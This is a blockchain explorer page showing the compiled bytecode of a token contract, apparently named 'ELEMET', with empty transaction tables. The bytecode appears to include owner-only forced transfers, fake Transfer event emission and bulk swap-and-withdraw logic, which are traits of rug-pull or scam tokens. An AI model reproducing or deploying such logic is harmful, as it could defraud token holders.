fffffffffff6040518363ffffffff1660e01b8152600401611b589291906132c1565b6020604051808303816000875af1158015611b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9b91906132ff565b505b60005b8951811015611c9157737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d795898381518110611bec57611beb6129f9565b5b60200260200101518b8481518110611c0757611c066129f9565b5b60200260200101518a8e8681518110611c2357611c226129f9565b5b60200260200101518a6040518663ffffffff1660e01b8152600401611c4c9594939291906133ea565b600060405180830381600087803b158015611c6657600080fd5b505af1158015611c7a573d6000803e3d6000fd5b505050508080611c8990612ae1565b915050611ba0565b5060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611ccd919061267a565b602060405180830381865afa158015611cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0e9190613259565b90508573ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b8152600401611d49919061235d565b600060405180830381600087803b158015611d6357600080fd5b505af1158015611d77573d6000803e3d6000fd5b505050506000611d85612176565b73ffffffffffffffffffffffffffffffffffffffff1682604051611da890613475565b60006040518083038185875af1925050503d8060008114611de5576040519150601f19603f3d011682016040523d82523d6000602084013e611dea565b606091505b5050905080611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e25906134d6565b60405180910390fd5b60019450505050509695505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f5f919061235d565b60405180910390a3600190509392505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8060026000611fa9612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c906131fb565b60405180910390fd5b8060026000612032612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461207b9190612e53565b92505081905550806006600061208f612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120d89190612e87565b9250508190555042600760006120ec612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156121b857808201518184015260208101905061219d565b60008484015250505050565b6000601f19601f8301169050919050565b60006121e08261217e565b6121ea8185612189565b93506121fa81856020860161219a565b612203816121c4565b840191505092915050565b6000602082019050818103600083015261222881846121d5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061226f82612244565b9050919050565b61227f81612264565b811461228a57600080fd5b50565b60008135905061229c81612276565b92915050565b6000819050919050565b6122b5816122a2565b81146122c057600080fd5b50565b6000813590506122d2816122ac565b92915050565b600080604083850312156122ef576122ee61223a565b5b60006122fd8582860161228d565b925050602061230e858286016122c3565b9150509250929050565b60008115159050919050565b61232d81612318565b82525050565b60006020820190506123486000830184612324565b92915050565b612357816122a2565b82525050565b6000602082019050612372600083018461234e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123b5826121c4565b810181811067ffffffffffffffff821117156123d4576123d361237d565b5b80604052505050565b60006123e7612230565b90506123f382826123ac565b919050565b600067ffffffffffffffff8211156124135761241261237d565b5b602082029050602081019050919050565b600080fd5b600061243c612437846123f8565b6123dd565b9050808382526020820190506020840283018581111561245f5761245e612424565b5b835b818110156124885780612474888261228d565b845260208401935050602081019050612461565b5050509392505050565b600082601f8301126124a7576124a6612378565b5b81356124b7848260208601612429565b91505092915050565b600067ffffffffffffffff8211156124db576124da61237d565b5b602082029050602081019050919050565b60006124ff6124fa846124c0565b6123dd565b9050808382526020820190506020840283018581111561252257612521612424565b5b835b8181101561254b578061253788826122c3565b845260208401935050602081019050612524565b5050509392505050565b600082601f83011261256a57612569612378565b5b813561257a8482602086016124ec565b91505092915050565b6000806000806080858703121561259d5761259c61223a565b5b60006125ab8782880161228d565b945050602085013567ffffffffffffffff8111156125cc576125cb61223f565b5b6125d887828801612492565b935050604085013567ffffffffffffffff8111156125f9576125f861223f565b5b61260587828801612555565b925050606085013567ffffffffffffffff8111156126265761262561223f565b5b61263287828801612555565b91505092959194509250565b6000602082840312156126545761265361223a565b5b60006126628482850161228d565b91505092915050565b61267481612264565b82525050565b600060208201905061268f600083018461266b565b92915050565b6000806000606084860312156126ae576126ad61223a565b5b60006126bc8682870161228d565b93505060206126cd8682870161228d565b92505060406126de868287016122c3565b9150509250925092565b600060ff82169050919050565b6126fe816126e8565b82525050565b600060208201905061271960008301846126f5565b92915050565b61272881612318565b811461273357600080fd5b50565b6000813590506127458161271f565b92915050565b6000602082840312156127615761276061223a565b5b600061276f84828501612736565b91505092915050565b6000806040838503121561278f5761278e61223a565b5b600083013567ffffffffffffffff8111156127ad576127ac61223f565b5b6127b985828601612492565b92505060206127ca858286016122c3565b9150509250929050565b600080fd5b60008083601f8401126127ef576127ee612378565b5b8235905067ffffffffffffffff81111561280c5761280b6127d4565b5b60208301915083602082028301111561282857612827612424565b5b9250929050565b6000806000604084860312156128485761284761223a565b5b600084013567ffffffffffffffff8111156128665761286561223f565b5b612872868287016127d9565b93509350506020612885868287016122c3565b9150509250925092565b60008060008060008060c087890312156128ac576128ab61223a565b5b600087013567ffffffffffffffff8111156128ca576128c961223f565b5b6128d689828a01612492565b965050602087013567ffffffffffffffff8111156128f7576128f661223f565b5b61290389828a01612555565b955050604087013567ffffffffffffffff8111156129245761292361223f565b5b61293089828a01612555565b945050606087013567ffffffffffffffff8111156129515761295061223f565b5b61295d89828a01612492565b935050608061296e89828a0161228d565b92505060a061297f89828a016122c3565b9150509295509295509295565b600080604083850312156129a3576129a261223a565b5b60006129b18582860161228d565b92505060206129c28582860161228d565b9150509250929050565b6000602082840312156129e2576129e161223a565b5b60006129f0848285016122c3565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000612a57612a52612a4d84612a28565b612a32565b6122a2565b9050919050565b612a6781612a3c565b82525050565b6000608082019050612a82600083018761234e565b612a8f6020830186612a5e565b612a9c6040830185612a5e565b612aa9606083018461234e565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612aec826122a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b1e57612b1d612ab2565b5b600182019050919050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b6000612b85602b83612189565b9150612b9082612b29565b604082019050919050565b60006020820190508181036000830152612bb481612b78565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612c1257808604811115612bee57612bed612ab2565b5b6001851615612bfd5780820291505b8081029050612c0b85612bbb565b9450612bd2565b94509492505050565b600082612c2b5760019050612ce7565b81612c395760009050612ce7565b8160018114612c4f5760028114612c5957612c88565b6001915050612ce7565b60ff841115612c6b57612c6a612ab2565b5b8360020a915084821115612c8257612c81612ab2565b5b50612ce7565b5060208310610133831016604e8410600b8410161715612cbd5782820a905083811115612cb857612cb7612ab2565b5b612ce7565b612cca8484846001612bc8565b92509050818404811115612ce157612ce0612ab2565b5b81810290505b9392505050565b6000612cf9826122a2565b9150612d04836126e8565b9250612d317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c1b565b905092915050565b6000612d44826122a2565b9150612d4f836122a2565b9250828202612d5d816122a2565b91508282048414831517612d7457612d73612ab2565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000612db1601983612189565b9150612dbc82612d7b565b602082019050919050565b60006020820190508181036000830152612de081612da4565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000612e1d602083612189565b9150612e2882612de7565b602082019050919050565b60006020820190508181036000830152612e4c81612e10565b9050919050565b6000612e5e826122a2565b9150612e69836122a2565b9250828203905081811115612e8157612e80612ab2565b5b92915050565b6000612e92826122a2565b9150612e9d836122a2565b9250828201905080821115612eb557612eb4612ab2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ef5826122a2565b9150612f00836122a2565b925082612f1057612f0f612ebb565b5b828204905092915050565b7f496e73756666696369656e742062616c616e636520666f7220766f74696e6700600082015250565b6000612f51601f83612189565b9150612f5c82612f1b565b602082019050919050565b60006020820190508181036000830152612f8081612f44565b9050919050565b7f557365722068617320616c726561647920766f74656400000000000000000000600082015250565b6000612fbd601683612189565b9150612fc882612f87565b602082019050919050565b60006020820190508181036000830152612fec81612fb0565b9050919050565b60006040820190506130086000830185612324565b613015602083018461234e565b9392505050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b6000613078602683612189565b91506130838261301c565b604082019050919050565b600060208201905081810360008301526130a78161306b565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006130e4601b83612189565b91506130ef826130ae565b602082019050919050565b60006020820190508181036000830152613113816130d7565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000613150601983612189565b915061315b8261311a565b602082019050919050565b6000602082019050818103600083015261317f81613143565b9050919050565b600060408201905061319b600083018561234e565b6131a8602083018461234e565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006131e5601483612189565b91506131f0826131af565b602082019050919050565b60006020820190508181036000830152613214816131d8565b9050919050565b6000604082019050613230600083018561266b565b61323d602083018461266b565b9392505050565b600081519050613253816122ac565b92915050565b60006020828403121561326f5761326e61223a565b5b600061327d84828501613244565b91505092915050565b6000819050919050565b60006132ab6132a66132a184613286565b612a32565b6122a2565b9050919050565b6132bb81613290565b82525050565b60006040820190506132d6600083018561266b565b6132e360208301846132b2565b9392505050565b6000815190506132f98161271f565b92915050565b6000602082840312156133155761331461223a565b5b6000613323848285016132ea565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61336181612264565b82525050565b60006133738383613358565b60208301905092915050565b6000602082019050919050565b60006133978261332c565b6133a18185613337565b93506133ac83613348565b8060005b838110156133dd5781516133c48882613367565b97506133cf8361337f565b9250506001810190506133b0565b5085935050505092915050565b600060a0820190506133ff600083018861234e565b61340c602083018761234e565b818103604083015261341e818661338c565b905061342d606083018561266b565b61343a608083018461234e565b9695505050505050565b600081905092915050565b50565b600061345f600083613444565b915061346a8261344f565b600082019050919050565b600061348082613452565b9150819050919050565b7f4620742073206500000000000000000000000000000000000000000000000000600082015250565b60006134c0600783612189565b91506134cb8261348a565b602082019050919050565b600060208201905081810360008301526134ef816134b3565b905091905056fea264697066735822122035e685af82b24ebf5b66b2e551327d1332908698eeb9d7fd924ff48c1f45a43464736f6c63430008110033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.